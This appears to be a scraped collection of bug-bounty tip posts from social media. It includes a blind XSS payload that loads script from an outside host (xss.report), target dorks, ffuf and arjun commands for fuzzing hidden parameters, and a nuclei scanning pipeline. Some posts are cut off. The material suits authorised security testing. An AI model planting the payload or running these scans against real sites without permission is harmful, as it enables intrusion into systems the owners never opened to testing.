attacker

BLH

HIJACKED BY Javeed.shaik

[Fat @fattselimi]

Good morning Friends today is Blind XSS Triage Day👌

I used https://t.co/KXxVF4FJjF in Contact Form

Payload : '"></script><script src=//xss.report/s/yourserver></script>

#bugbounty #bugbountytip #bugbountytips #infosec #bbp

[Aditya @ADITYASHENDE17]

As recon process I observed few things in dorking

site:*.target.*

This dork was giving all the urls with com,net,co,io

Gathered all the domains and use following to command
/1

[H41th3m 🇩🇿👾 @h41th3m]

For Fuzzing for Hidden Params , you can use FFUF which is faster tool or Arjun:

ffuf -w ~/tools/wordlist/param.txt:PARAM -u "$1?PARAM=XSS" -mr "XSS" -c

arjun -w ~/tools/wordlist/param.txt -u $1

#bugbounty #bugbountytips

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

Reflected XSS Bug
#VDP

Tips :-
1- site:*.target.com ext:php
2- echo https://t.co/o5f3bEumtp | waybckurls | grep "\?" | uro | httpx -silent > parameters.txt
3- nuclei -l parameters.txt -t fuzzing-templates
4- You may find xss,sqli,ssrf,open redirect...ext
#bugbountytips

[attacker @ReturnSafe1]

#NewProfilePic